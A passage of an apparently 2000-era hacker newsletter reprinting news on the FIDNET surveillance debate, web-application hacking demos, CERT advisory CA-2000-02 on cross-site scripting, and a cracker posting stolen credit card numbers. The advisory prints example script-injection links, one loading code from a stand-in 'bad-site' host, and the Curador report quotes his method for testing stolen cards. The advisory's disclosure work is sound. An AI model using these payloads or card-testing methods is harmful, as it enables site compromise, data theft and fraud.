panel on Tuesday.
The Electronic Privacy Information Center said a memo it obtained last
week shows that the Clinton administration's FIDNET proposal for
"information systems protection" will result in unwarranted spying on
Americans.
Documents the group received through a Freedom of Information Act request
indicate the administration is considering broad access to credit card and
phone records of private citizens and monitoring of government workers'
computers, EPIC director Marc Rotenberg told the Senate judiciary
subcommittee on technology and terrorism.
"The FIDNET proposal, as currently conceived, must simply be withdrawn. It
is impermissible in the United States to give a federal agency such
extensive surveillance authority," Rotenberg told the panel chaired by Jon
Kyl, an Arizona Republican.
The privacy problems of FIDNET and similar government efforts are
exaggerated, said Critical Infrastructure Assurance Office director John
Tritak.
"FIDNET is intended to protect information on critical, civilian
government computer systems, including that provided by private citizens.
It will not monitor or be wired into private sector computers," Tritak
said. "All aspects of the FIDNET will be fully consistent with all
laws protecting the civil liberties and privacy rights of Americans."
Tritak showed up to discuss the so-called "National Plan for Information
Systems Protection, Version 1.0," which the government released in
January. It calls for additional government spending to thwart a "highly
organized, systematic cyberattack by hostile powers or terrorist
organizations."
The 199-page plan includes a chapter titled "protecting privacy and civil
liberties." The chapter calls for an annual "public-private colloquium"
and review of privacy practices by "appropriate authorities."
But it does not say the CIAO will reveal even summaries of its activities
-- the sort of regular review required of federal prosecutors who ask for
wiretaps of phone lines. "Nowhere does the Plan answer such questions as
what formal reporting requirements will be established, what
independent review will be conducted, and what mechanisms for public
accountability and government oversight will be put in place," EPIC's
Rotenberg said.
Also testifying was Frank Cilluffo, deputy director of the organized crime
project at the Center for Strategic & International Studies. CSIS has
close ties to the military, and last month appointed soon-to-be former
deputy secretary of defense John Hamre as its president and CEO.
Cilluffo sided with CIAO: "Throughout history, the first obligation of the
state has been to protect its citizens. Today is no exception."
"Overall, I think the [CIAO] plan does an excellent job identifying gaps
and shortfalls within the federal government, and charting an initial
course of action to address them. My major concern is that it does not do
enough," Ciluffo said.
FIDNET, the part of the overall CIAO plan aimed at detecting intrusions
into federal computers, came under fire last summer. Civil liberties
groups and some legislators warned it could be too intrusive and could
monitor the private-sector Internet.
The Justice Department didn't help matters by replying last September in a
letter that said FIDNET would not -- at least, as currently "envisioned."
During the hearing Tuesday, CIAO's Tritak echoed what other law
enforcement representatives have said: "One person with a computer, a
modem, and a telephone line anywhere in the world can potentially break
into sensitive government files, shut down an airport's air traffic
control system, or disrupt 911 services for an entire community."
A top FBI official said the same thing in January, warning that electric
power is vulnerable to miscreant hackers. But a person close to the North
American Electric Reliability Council -- a trade association of electric
power generating companies -- told Wired News that he wasn't aware of any
power control computers hooked up to telephone lines or the Internet.
@HWA
90.0 HNN: Feb 2nd: AntiPiracy Campaign Increases Sales
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
Microsoft is claiming a sales increase in Estonia, Latvia
and Lithuania is the result of a massive anti-piracy
campaign there. Microsoft has reported that while
piracy rates in these countries are still above 72% (they
were as high as 92% in some of countries) software
sales have increased by as much as 500%. (Interesting
how absolutely no other factors contributed to the
increase in sales over the six month period, at least
according to MS.)
Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500162049-500204023-500922895-0,00.html
Microsoft pleased with anti-piracy campaign in Baltics
Copyright © 2000 Nando Media
Copyright © 2000 Agence France-Press
VILNIUS, Lithuania (February 1, 2000 11:59 a.m. EST
http://www.nandotimes.com) - An anti-piracy software campaign recently
launched in the Baltic states of Estonia, Latvia and Lithuania has
significantly lifted Microsoft's sales in the region, a company official
announced Tuesday.
"It was a tremendous success and we are starting to build our business in
these countries," Bo Cruse, Microsoft managing director for the Baltic
region said at a briefing in Vilnius.
At the end of the six-month campaign, Microsoft's sales in January were up
around 500 percent in Lithuania, and 300 percent in Estonia and Latvia.
Software piracy remains common in the Baltic states. According to
Microsoft's estimates the percentage of illegal software dipped only from
92 percent to 81 percent in Lithuania, from 90 percent to 85 percent in
Latvia and from 86 percent to 72 percent in Estonia following the
legalization campaign.
The average for Europe is about 40 percent and for the Nordic countries
about 35 percent, according to Norvald Heidel, Microsoft's anti-piracy
manager for the Baltic and Nordic regions.
Microsoft and the Business Software Alliance also worked with police and
computer sellers to promote enforcement of software licenses.
More than 30 court cases have been filed for copyright infringement
following a crackdown on resellers and private users.
A Lithuanian government official admitted that 40-60 percent of the
government's software is illegal, and said that nearly $1 million would be
needed to buy legal copies.
@HWA
91.0 HNN: Feb 2nd: Web Aps, the New Playground
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by freqout
PC World sees things that make them fear putting their
data online, when anyone with a little knowledge of how
web applications work, can gain access to other's data.
Breaking Web applications has become the hack du jour
over buffer overflows, fragmented packets, and default
scripts/passwords. (This article specifically mentions
Perfecto which seems to like the fear tactic way of
selling its product, break into the site in front of the
customer and then sell them your solution. Slimy.)
PC World
http://www1.pcworld.com/ontheweb/article/0,1978,14415,00.html
From PC World Online The Web Is a Hacker's Playground by Christina Wood
I don't scare easily. But I've been terrified twice in the past year. The
first time it happened was while I watched The Blair Witch Project
at a local theater. The second time was during a demonstration of a new
software product. Now, I've seen a million software demos, and in the vast
majority of these my biggest fear is that I'll fall asleep. This time,
though, I found myself perched on the edge of my seat. Eran Reshef,
cofounder and vice president of Perfecto Technologies, was showing me why
he thinks the world needs his company's product, a security package
(priced at upward of $50,000) that is designed to protect Web sites from
hacker attacks.
As I sat there watching, Reshef demonstrated how he could transform just
about any Web site into his own personal playground. And though
Reshef and most of his technical staff are former members of an elite
technical unit in the Israeli Army, he denied that he possesses the
hacking talents of a once-in-an-eon technical genius. In fact, Reshef was
careful to characterize his skills as fairly common. He said that
practically anyone who can put up a Web site--and has a burglar's moral
code--can take a site down. Those same skills can be used (and this is
when I really got frightened) to plunder a site for confidential
information about its users.
I don't want to alert any hackers out there to security holes that are
waiting to be breached. So I won't mention the names of the Web
sites I saw Reshef gain access to-but they're ones you know, maybe even
ones you do business with. Reshef would spend 15 minutes or so editing
HTML code and performing other technical tricks...and then I'd see the
names and passwords of a site's programmers scroll across his computer
screen.
He dropped items into his shopping cart at various e-commerce sites,
including the online home of a major computer vendor, and then
changed their prices at will. He also downloaded customer information from
an airline's frequent-flyer site, and he described to me how he was able
to make trades from the account of the CIO of a large online brokerage
firm--while the CIO looked on.
"This is bad," Reshef announced at one point in his demonstration for me.
"The game is over--I can do anything I want [at this site] right
now." Gulp.
Protection Racket?
Reshef didn't have to hack around firewalls or break encryption. He
accomplished his break-ins using only his Web browser, some
know-how, and maybe a little programming code. Reshef (and presumably
hackers who use their abilities less benignly) hunts around Web pages for
little programming mistakes. These subtle errors--Reshef says most
programmers make them from time to time--offer knowledgeable snoops points
of entry to a site's server. And once they have that access, they can
cause all kinds of mayhem.
Not that Reshef would--he's a nice guy. In fact, one analyst I spoke to
described him as a Boy Scout. And the break-ins he performed were done
only after obtaining the permission of the sites' proprietors. But in
retrospect, I can't help imagining him appearing in an episode of the HBO
series The Sopranos selling protection against the depredations of a
frightening group of high-tech wise guys.
Shortly after taking in Reshef's demonstration, I saw a report of a
popular news site (which will also remain nameless) being taken
completely down by an unknown hacker or hackers. I called the site manager
to see whether the break-in involved the kind of hacking Reshef showed me.
She said no. The site had simply had a problem with an FTP server, which
was now fixed. Besides, she told me, the kind of thing I was describing to
her was impossible. "Did you ever think maybe you were getting a snake-oil
pitch?" she asked. "'Here's the disease, now here's the medicine you need
to cure it?'" That's a reasonable question, I thought.
So I did some checking.
"The problem that Perfecto is targeting is right on the money," counters
Mike Zboray, vice president and research director for the Gartner
Group, an industry research firm. "Take a look at your typical Web server
configured for use on the Net. The people who do that configuration are
not terribly meticulous about the underlying code, and they aren't
meticulous about how they have safeguarded the content they have created.
When it works, they put it up. Is that good enough for e-commerce?
Probably not."
For quite a while, Zboray has been warning his clients to be diligent
about protecting their Web sites from this kind of intrusion, either
by plugging holes themselves or, more recently, by buying Perfecto's
software. But to make his point, he has sometimes been forced to perform a
little hacking of his own. "I'm not nearly as good at this as Reshef is,
but I have been able to get complete access to servers. I do it just to
demonstrate how people are exposed."
A similar demonstration by Reshef persuaded Quote.com's Kaj Pedersen that
his site needed Perfecto. "The selling point for me was when Reshef
changed my password and was able to get my access privileges to the site,"
explains Pedersen, vice president of engineering at the financial market
data site.
Okay, I'm scared. And naturally, my first concern is for my own wallet. I
practically live on the Internet. Are my life and finances an open book
for every intelligent reprobate who has a browser? That depends.
"If I were a vendor, I would be deathly afraid," says Zboray. "If I were a
bank I would be deathly afraid. And anyone who is doing a company
extranet should definitely worry if they have sensitive company data out
there."
On the other hand, Zboray believes, consumers shouldn't panic about the
state of security on the Web. "I'm not afraid of using my credit
card [at e-commerce sites]--the credit card companies are shielding me
from responsibility for any fraudulent charges of more than $50." Much the
same is true at online banks: A bank's FDIC insurance shields your account
from loss if your bank--online or otherwise--is robbed.
Watching Your Wallet
Despite such reassurances, you still need to be careful where you take
your business online. "Most sites that are doing e-commerce should
have some kind of security statement with regard to how your transactions
are secured," suggests Matthew Devost, senior analyst for Security Design
International, a company that provides security consulting to large
corporations and e-commerce companies. Look for that statement and read it
carefully before you provide personal information to a site.
If a site doesn't carry such a statement, and you're doing more than
making a purchase there, call and grill a knowledgeable company
representative on how safe the site is. Ask if the site uses an outside
firm to test its security. Companies generally don't like to provide much
detail--because they don't want to give away any secrets--but you need to
make sure that they're taking measures to protect their site from
intruders.
"At the moment, only a small percentage of people call us to ask about
security," says Quote.com's Pedersen. "It's mostly those who understand
the technology and are concerned about how we will protect their personal
data concerning their net worth. But I think these questions will become
increasingly common as people begin to understand the vulnerabilities. I
think people should be asking these questions."
No Safety in Numbers
Of course, the Web will never be entirely free of security threats. "There
are a lot of smart people out there," says Devost. "And they will
always find a way in if there is something they want." And unfortunately,
there's no easy way to tell how safe a site is. That's partly because
sites are reticent about divulging security information and partly because
many sites are unaware of the risks.
"I see a time where there might be a Good Housekeepingstyle seal of
approval for the security of sites," says Devost. "There are
organizations that do that now for privacy. Why not for security?"
Oh, and another thing. If you're a Web site manager, don't make the
mistake of challenging a hacker. I told Eran Reshef about the news
site's suggestion that Perfecto's business model was nothing more than a
snake-oil pitch. Within 30 minutes, Reshef told me, Perfecto had gained
access to the source code on the news site's server. He added, "That means
I can do pretty much anything, including shut down the site."
But since Reshef is a Boy Scout, the Web site in question managed to
escape unscathed--this time. But if I had a Web-based business--or
any plans to open one--I'd be thinking very seriously about hiring a
bodyguard.
Christina Wood is a PC World contributing editor.
@HWA
92.0 HNN: Feb 3rd: Malicious HTML Tags Embedded in Client Web Requests
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Shill
Cross-site scripting has become such a major concern it
is has finally prompted CERT to release a security
advisory. The problem is that no one verifies input data
on a web form or when dynamically generating pages.
This allows someone to potentially insert damaging code
that will be automatically run. No one has been
victimized yet but the potential risk is huge, effecting
every browser and web page. To protect yourself from
this risk CERT recommends that you turn off cookies, all
java and "Not Engage in Promiscuous Browsing".
CERT
http://www.cert.org/advisories/CA-2000-02.html
Associated Press - via San Jose Mercury News
http://www.sjmercury.com/svtech/news/breaking/ap/docs/165817l.htm
CERT:
CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
This advisory is being published jointly by the CERT Coordination Center,
DoD-CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND),
the Federal Computer Incident Response Capability (FedCIRC), and the
National Infrastructure Protection Center (NIPC).
Original release date: February 2, 2000 Last revised: February 3, 2000
A complete revision history is at the end of this file.
Systems Affected
Web browsers
Web servers that dynamically generate pages based on unvalidated
input
Overview
A web site may inadvertently include malicious HTML tags or script in a
dynamically generated page based on unvalidated input from untrustworthy
sources. This can be a problem when a web server does not adequately
ensure that generated pages are properly encoded to prevent unintended
execution of scripts, and when input is not validated to prevent malicious
HTML from being presented to the user.
I. Description
Background
Most web browsers have the capability to interpret scripts embedded in web
pages downloaded from a web server. Such scripts may be written in a
variety of scripting languages and are run by the client's browser. Most
browsers are installed with the capability to run scripts enabled by
default.
Malicious code provided by one client for another client
Sites that host discussion groups with web interfaces have long guarded
against a vulnerability where one client embeds malicious HTML tags in a
message intended for another client. For example, an attacker might post a
message like
Hello message board. This is a message. <SCRIPT>malicious
code</SCRIPT> This is the end of my message.
When a victim with scripts enabled in their browser reads this message,
the malicious code may be executed unexpectedly. Scripting tags that can
be embedded in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
When client-to-client communications are mediated by a server, site
developers explicitly recognize that data input is untrustworthy when it
is presented to other users. Most discussion group servers either will not
accept such input or will encode/filter it before sending anything to
other readers.
Malicious code sent inadvertently by a client for itself
Many Internet web sites overlook the possibility that a client may send
malicious data intended to be used only by itself. This is an easy mistake
to make. After all, why would a user enter malicious code that only the
user will see?
However, this situation may occur when the client relies on an
untrustworthy source of information when submitting a request. For
example, an attacker may construct a malicious link such as
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious
code</SCRIPT>"> Click here</A>
When an unsuspecting user clicks on this link, the URL sent to example.com
includes the malicious code. If the web server sends a page back to the
user including the value of mycomment, the malicious code may be executed
unexpectedly on the client. This example also applies to untrusted links
followed in email or newsgroup messages.
Abuse of other tags
In addition to scripting tags, other HTML tags such as the <FORM> tag have
the potential to be abused by an attacker. For example, by embedding
malicious <FORM> tags at the right place, an intruder can trick users into
revealing sensitive information by modifying the behavior of an existing
form. Other HTML tags can also be abused to alter the appearance of the
page, insert unwanted or offensive images or sounds, or otherwise
interfere with the intended appearance and behavior of the page.
Abuse of trust
At the heart of this vulnerability is the violation of trust that results
from the "injected" script or HTML running within the security context
established for the example.com site. It is, presumably, a site the
browser victim is interested in enough to visit and interact with in a
trusted fashion. In addition, the security policy of the legitimate server
site example.com may also be compromised.
This example explicitly shows the involvement of two sites:
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT
SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
Note the SRC attribute in the <SCRIPT> tag is explicitly incorporating
code from a presumably unauthorized source (bad-site). Both of the
previous examples show violations of the same-source origination policy
fundamental to most scripting security models:
Netscape Communicator Same Origin Policy Microsoft Scriptlet Security
Because one source is injecting code into pages sent by another source,
this vulnerability has also been described as "cross-site" scripting.
At the time of publication, malicious exploitation of this vulnerability
has not been reported to the CERT/CC. However, because of the potential
for such exploitation, we recommend that organization CIOs, managers, and
system administrators aggressively implement the steps listed in the
solution section of this document. Technical feedback to appropriate
technical, operational, and law enforcement authorities is encouraged.
II. Impact
Users may unintentionally execute scripts written by an attacker when they
follow untrusted links in web pages, mail messages, or newsgroup postings.
Users may also unknowingly execute malicious scripts when viewing
dynamically generated pages based on content provided by other users.
Because the malicious scripts are executed in a context that appears to
have originated from the targeted site, the attacker has full access to
the document retrieved (depending on the technology chosen by the
attacker), and may send data contained in the page back to their site. For
example, a malicious script can read fields in a form provided by the real
server, then send this data to the attacker.
Note that the access that an intruder has to the Document Object Model
(DOM) is dependent on the security architecture of the language chosen by
the attacker. Specifically, Java applets do not provide the attacker with
any access to the DOM.
Alternatively, the attacker may be able to embed script code that has
additional interactions with the legitimate web server without alerting
the victim. For example, the attacker could develop an exploit that posted
data to a different page on the legitimate web server.
Also, even if the victim's web browser does not support scripting, an
attacker can alter the appearance of a page, modify its behavior, or
otherwise interfere with normal operation.
The specific impact can vary greatly depending on the language selected by
the attacker and the configuration of any authentic pages involved in the
attack. Some examples that may not be immediately obvious are included
here.
SSL-Encrypted Connections May Be Exposed
The malicious script tags are introduced before the Secure Socket Layer
(SSL) encrypted connection is established between the client and the
legitimate server. SSL encrypts data sent over this connection, including
the malicious code, which is passed in both directions. While ensuring
that the client and server are communicating without snooping, SSL makes
no attempt to validate the legitimacy of data transmitted.
Because there really is a legitimate dialog between the client and the
server, SSL reports no problems. Malicious code that attempts to connect
to a non-SSL URL may generate warning messages about the insecure
connection, but the attacker can circumvent this warning simply by running
an SSL-capable web server.
Attacks May Be Persistent Through Poisoned Cookies
Once malicious code is executing that appears to have come from the
authentic web site, cookies may be modified to make the attack persistent.
Specifically, if the vulnerable web site uses a field from the cookie in
the dynamic generation of pages, the cookie may be modified by the
attacker to include malicious code. Future visits to the affected web site
(even from trusted links) will be compromised when the site requests the
cookie and displays a page based on the field containing the code.
Attacker May Access Restricted Web Sites from the Client
By constructing a malicious URL an attacker may be able to execute script
code on the client machine that exposes data from a vulnerable server
inside the client's intranet.
The attacker may gain unauthorized web access to an intranet web server if
the compromised client has cached authentication for the targeted server.
There is no requirement for the attacker to masquerade as any particular
system. An attacker only needs to identify a vulnerable intranet server
and convince the user to visit an innocent looking page to expose
potentially sensitive data on the intranet server.
Domain Based Security Policies May Be Violated
If your browser is configured to allow execution of scripting languages
from some hosts or domains while preventing this access from others,
attackers may be able to violate this policy.
By embedding malicious script tags in a request sent to a server that is
allowed to execute scripts, an attacker may gain this privilege as well.
For example, Internet Explorer security "zones" can be subverted by this
technique.
Use of Less-Common Character Sets May Present Additional Risk
Browsers interpret the information they receive according to the character
set chosen by the user if no character set is specified in the page
returned by the web server. However, many web sites fail to explicitly
specify the character set (even if they encode or filter characters with
special meaning in the ISO-8859-1), leaving users of alternate character
sets at risk.
Attacker May Alter the Behavior of Forms
Under some conditions, an attacker may be able to modify the behavior of
forms, including how results are submitted.
III. Solution
Solutions for Users
None of the solutions that web users can take are complete solutions. In
the end, it is up to web page developers to modify their pages to
eliminate these types of problems.
However, web users have two basic options to reduce their risk of being
attacked through this vulnerability. The first, disabling scripting
languages in their browser, provides the most protection but has the side
effect for many users of disabling functionality that is important to
them. Users should select this option when they require the lowest
possible level of risk.
The second solution, being selective about how they initially visit a web
site, will significantly reduce a user's exposure while still maintaining
functionality. Users should understand that they are accepting more risk
when they select this option, but are doing so in order to preserve
functionality that is important to them.
Unfortunately, it is not possible to quantify the risk difference between
these two options. Users who decide to continue operating their browsers
with scripting languages enabled should periodically revisit the CERT/CC
web site for updates, as well as review other sources of security
information to learn of any increases in threat or risk related to this
vulnerability.
Web Users Should Disable Scripting Languages in Their Browsers
Exploiting this vulnerability to execute code requires that some form of
embedded scripting language be enabled in the victim's browser. The most
significant impact of this vulnerability can be avoided by disabling all
scripting languages.
Note that attackers may still be able to influence the appearance of
content provided by the legitimate site by embedding other HTML tags in
the URL. Malicious use of the <FORM> tag in particular is not prevented by
disabling scripting languages.
Detailed instructions to disable scripting languages in your browser are
available from our Malicious Code FAQ:
http://www.cert.org/tech_tips/malicious_code_FAQ.html
Web Users Should Not Engage in Promiscuous Browsing
Some users are unable or unwilling to disable scripting languages
completely. While disabling these scripting capabilities is the most
effective solution, there are some techniques that can be used to reduce a
user's exposure to this vulnerability.
Since the most significant variations of this vulnerability involve
cross-site scripting (the insertion of tags into another site's web page),
users can gain some protection by being selective about how they initially
visit a web site. Typing addresses directly into the browser (or using
securely stored local bookmarks) is likely to be the safest way of
connecting to a site.
Users should be aware that even links to unimportant sites may expose
other local systems on the network if the client's system resides behind a
firewall, or if the client has cached credentials to access other web
servers (e.g., for an intranet). For this reason, cautious web browsing is
not a comparable substitute for disabling scripting.
With scripting enabled, visual inspection of links does not protect users
from following malicious links, since the attacker's web site may use a
script to misrepresent the links in the user's window. For example, the
contents of the Goto and Status bars in Netscape are controllable by
JavaScript.
Solutions for Web Page Developers and Web Site Administrators
Web Page Developers Should Recode Dynamically Generated Pages to Validate
Output
Web site administrators and developers can prevent their sites from being
abused in conjunction with this vulnerability by ensuring that dynamically
generated pages do not contain undesired tags.
Attempting to remove dangerous meta-characters from the input stream
leaves a number of risks unaddressed. We encourage developers to restrict
variables used in the construction of pages to those characters that are
explicitly allowed and to check those variables during the generation of
the output page.
In addition, web pages should explicitly set a character set to an
appropriate value in all dynamically generated pages.
Because encoding and filtering data is such an important step in
responding to this vulnerability, and because it is a complicated issue,
the CERT/CC has written a document which explores this issue in more
detail:
http://www.cert.org/tech_tips/malicious_code_mitigation.html
Web Server Administrators Should Apply a Patch From Their Vendor
Some web server products include dynamically generated pages in the
default installation. Even if your site does not include dynamic pages
developed locally, your web server may still be vulnerable. For example,
your server may include malicious tags in the "404 Not Found" page
generated by your web server.
Web server administrators are encouraged to apply patches as suggested by
your vendor to address this problem. Appendix A contains information
provided by vendors for this advisory. We will update the appendix as we
receive more information. If you do not see your vendor's name, the
CERT/CC did not hear from that vendor. Please contact your vendor
directly.
Appendix A. Vendor Information
Apache
More information from apache can be found at
http://www.apache.org/info/css-security
iPlanet - A Sun-Netscape Alliance
Additional information from iPlanet can be found at:
http://developer.iplanet.com/docs/technote/security/cert_ca2000_02.ht
ml
Microsoft
Microsoft is providing information and assistance on this issue for its
customers. This information will be posted at www.microsoft.com/security/.
Sun Microsystems, Inc.
Please see recommendations for Java Web Server at:
http://sun.com/software/jwebserver/faq/jwsca-2000-02.html
Sun is also providing information on security issues in general. This
information is posted at
http://java.sun.com/security
A good introduction is in http://java.sun.com/sfaq
While any web-based object, including Java Applets, can be unintentionally
loaded through the mechanisms described in this advisory, once they are
loaded the Java security mechanisms prevent any harmful information from
being disclosed or client information from being damaged.
Our thanks to Marc Slemko, Apache Software Foundation member; Iris
Associates; iPlanet; the Microsoft Security Response Center, the Microsoft
Internet Explorer Security Team, and Microsoft Research.
This document is available from:
http://www.cert.org/advisories/CA-2000-02.html
CERT/CC Contact Information
Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1
412-268-6989 Postal address: CERT® Coordination Center Software
Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890
U.S.A.
CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other
hours, on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by email. Our
public PGP key is available from
http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for more
information.
Getting security information
CERT publications and other security information are available from our
web site
http://www.cert.org/
To be added to our mailing list for advisories and bulletins, send email
to cert-advisory-request@cert.org and include SUBSCRIBE your-email-address
in the subject of your message.
Copyright 2000 Carnegie Mellon University. Conditions for use,
disclaimers, and sponsorship information can be found in
http://www.cert.org/legal_stuff.html
* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent
and Trademark Office.
NO WARRANTY Any material furnished by Carnegie Mellon University and the
Software Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University does
not make any warranty of any kind with respect to freedom from patent,
trademark, or copyright infringement.
Revision History
February 2, 2000: Initial release.
February 3, 2000: Clarifications on impact of Java applets. New vendor information.
-=-
Associated Press
http://www.sjmercury.com/svtech/news/breaking/ap/docs/165817l.htm
Experts warn of Web surfing risk
sBY TED BRIDIS Associated Press Writer
WASHINGTON (AP) -- The nation's top computer experts warned Internet users
Wednesday about a serious new security threat that allows hackers to
launch malicious programs on a victim's computer or capture information a
person volunteers on a Web site, such as credit card numbers.
The threat, dubbed ``cross-site scripting,'' involves dangerous computer
code that can be hidden within innocuous-looking links to popular
Internet sites. The links can be e-mailed to victims or published to
online discussion groups and Web pages.
The vulnerability was especially unusual because it is not limited to
software from any particular company. Any Web browser on any computer
visiting a complex Web site is at risk.
No one apparently has been victimized yet. But the risks were described as
potentially so serious and affected such a breadth of even the largest,
most successful Web sites that the industry's leading security group
said nothing consumers can do will completely protect them.
Only a massive effort by Web site designers can eliminate the threat,
according to the CERT Coordination Center of Carnegie Mellon University
and others. Software engineers at CERT issued the warning Wednesday
together with the FBI and the Defense Department.
The problem, discovered weeks ago but publicly disclosed Wednesday, occurs
when complex Internet sites fail to verify that hidden software code sent
from a consumer's browser is safe.
Experts looking at how often such filtering occurred found that Internet
sites failing to perform that important safety check were ``the rule
rather than the exception,'' said Scott Culp, the top security
program manager at Microsoft.
``Any information that I type into a form, what pages I visit on that
site, anything that happens in that session can be sent to a third-party,
and it can be done transparently,'' Culp warned. He added: ``You do
have to click on a link or follow a link in order for this to happen.''
The dangerous code also can alter information displayed in a consumer's
Web browser, such as account balances or stock prices at financial sites.
And it can capture and quietly forward to others a Web site's
``cookie,'' a small snippet of data that could help hackers impersonate a
consumer on some Internet pages.
``It really goes across a huge number of sites,'' said Marc Slemko, a
Canadian software expert who studied the problem. Slemko said
Internet-wide repairs will be ``a very, very major undertaking.''
In the interim, experts strongly cautioned Internet users against clicking
on Web links from untrusted sources, such as unsolicited e-mail or
messages sent to discussion forums.
They also recommended that consumers at least consider preventing their
Web browser software from launching small programs, called scripts. But
they acknowledged that many Internet sites require that function to
operate.
``A large number of sites simply aren't usable'' without those functions,
Slemko said.
Microsoft said it planned to publish full details and step-by-step instructions
for consumers at its Web site, www.microsoft.com/security. (PROFILE (CO:Microsoft
Corp; TS:MSFT; IG:SOF;) )
@HWA
93.0 HNN: Feb 3rd: Curador Posts More CC Numbers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Curador
After having his Xoom.com web site shut down after
posting 1000 credit card numbers Curador has moved on
to Geocities. This time he is posting several thousand
numbers from four different e-commerce sites and he is
including names and addresses. The new GeoCities site
has been online and active for almost 24 hours, while
their abuse department has been contacted it is
unknown how long the site will remain active. Curador
has claimed to have posted the numbers from
http://www.shoppingthailland.com,
http://www.ltamedia.com and two sites hosted at
http://www.promobility.net.
APB News
http://www.apbnews.com/newscenter/internetcrime/2000/02/01/hack0201_01.html
Was Bill Gates' Credit Card Number Online? Teen Claims It Was One of Hundreds
He Posted
Feb. 1, 2000
By David Noack
NEW YORK (APBnews.com) -- A self-proclaimed teenage
"cracker" who claims to have gotten into the database
of an e-commerce site has posted hundreds of credit
card numbers online -- including one he says belongs
to Microsoft Chairman Bill Gates.
The 18-year-old uses the name Curador, which means
custodian. In an e-mail message today, he said he had
posted 1,000 credit card numbers and promised to post
another thousand in the next two days.
Curador disowned the term "hacker" on the grounds that he trespasses on
sites but does not destroy data. Instead, he prefers the word "cracker."
The credit card numbers were posted on a personal home page at Xoom.com,
which is part of the family of NBCi, a subsidiary of the broadcasting
network. Xoom removed the page at around 12:30 p.m. today.
Visitor to page blew whistle
Roger Maes, director of investor relations for NBCi, said the company
received information early today that a Web site was posting credit card
information. Maes could not say how long the site had been online or how
many people might have viewed it. He said the company is reporting the
incident to the "proper authorities."
"We have a dedicated group internally who all they do is monitor terms of
service violations, and we also encourage our visitors as well as other
home page members to report any terms-of-service violations," Maes said.
"We were actually alerted by a visitor. I went there, actually saw it, and
it was removed in a couple of minutes."
He declined to say who registered the Web site.
Adam Sohn, a Microsoft spokesman, called the story about alleged posting
of Gates' credit card number "dubious and fraught with errors."
"It's unfortunate that folks are doing this kind of thing. It's
irresponsible and criminal," said Sohn.
Claims to have 5,000 more
Curador claims to have at least 5,000 credit card numbers that he got
while hacking into an online mall based in Thailand.
"I Intend to Post another 1,000 Cards in the Next 48 Hours the Rest, I
will keep in my collection, what you have to remember is that although I
only have 5,000 numbers, I can extrapolate a few valid card numbers from
each of those 5,000 Cards," Curador said in an e-mail.
Curador denied any financial motive.
"My main motive was boredom, pure and simple so I did this little crack,
E-Commerce sites beware because I am Posting from more sites soon,"
Curador warned.
Curador's message
Information about the alleged hacking incident was posted to one of the
hacking-related mailing lists. Part of the message reads:
"The Site Is A List Of Stolen CC Numbers Over a Thousand, Read more there.
I hope you like my work? If ya want Interviews E-mail me the
Questions.)...byebye"
"I did not demand money from the e-commerce site, who are blissfully
unaware that I have put these numbers on-line," Curador said. "In the Next
48, Hours, I Will Post a Link to their site, Plus (maybe) the Names &
Address of the People who's Numbers I Post, But only if I can be bothered.
You can check if these are real the same way I did go visit any porno
site, and enter the card numbers you will be approved and that is the only
proof I can offer."
'Not a great feat of magic'
One computer security expert, who did not want to be named, called this
latest incident the equivalent of "Dumpster diving," referring to a
practice by some teenagers who go into trash bins in the back of buildings
to get carbon copies of credit cards.
"You don't have to have a Ph.D. in computer science to do this. You have
to know how to turn a computer on and that's about it. This is not great
feat of magic for these kids," he said.
From examining the header information on the e-mail message, the security
expert believes the sender is in the Colorado Springs, Colo., area.
Curador, however, insists he is in Europe.
The security expert said the so-called e-commerce hacking incidents do not
take any great computer skills.
'Not breaking into anything'
"They are not breaking into anything," he said. "What they are doing is
going to the Web site, using the CGI's [common gateway interface] and
they're making the CGIs dump out credit card databases and they're using
Microsoft's SQL Server [standard query language]. They are connecting to
an SQL port and downloading databases."
The security expert said many e-commerce sites sacrifice security in favor
of ease of access and purchase.
"An e-commerce site cannot be secure and convenient, and if it's not real
convenient, people aren't going to use it. The problem is that companies
that have e-commerce are trying to rake in all this money, but they
seriously lack security, and they know it. They don't want to implement it
because it may require a few more clicks or it is a little more
complicated," he noted.
He suspects that the people responsible for this latest action also
perpetrated the CD Universe intrusion, though a Russian hacker named
"Maxus" claimed responsibility. The security expert said he believes
"Maxus" is really a group of teens in Colorado Springs.
'General lack of security'
Space Rogue, editor of the Hacker News Network and a research scientist at
the newly formed e-commerce security company @Stake, said the hacking
claim might be true.
"I have no reason to doubt it took place. Considering the general lack of
security on e-commerce sites as evidenced by all the recent blunders [such
as] CD Universe, Outpost.com, Northwest Airlines. It doesn't really
surprise me," said Space Rogue.
He said that posting the credit card numbers and not citing the vandalized
e-commerce site is wrong.
"As for actually posting the numbers to the Net, that's something I don't
agree with," Space Rogue said. "The fact that the company in question was
not mentioned nor the details of the hole is completely irresponsible."
The credit card posting follows the highly publicized hacking into the
database of music e-retailer CD Universe. "Maxus" claimed to have stolen
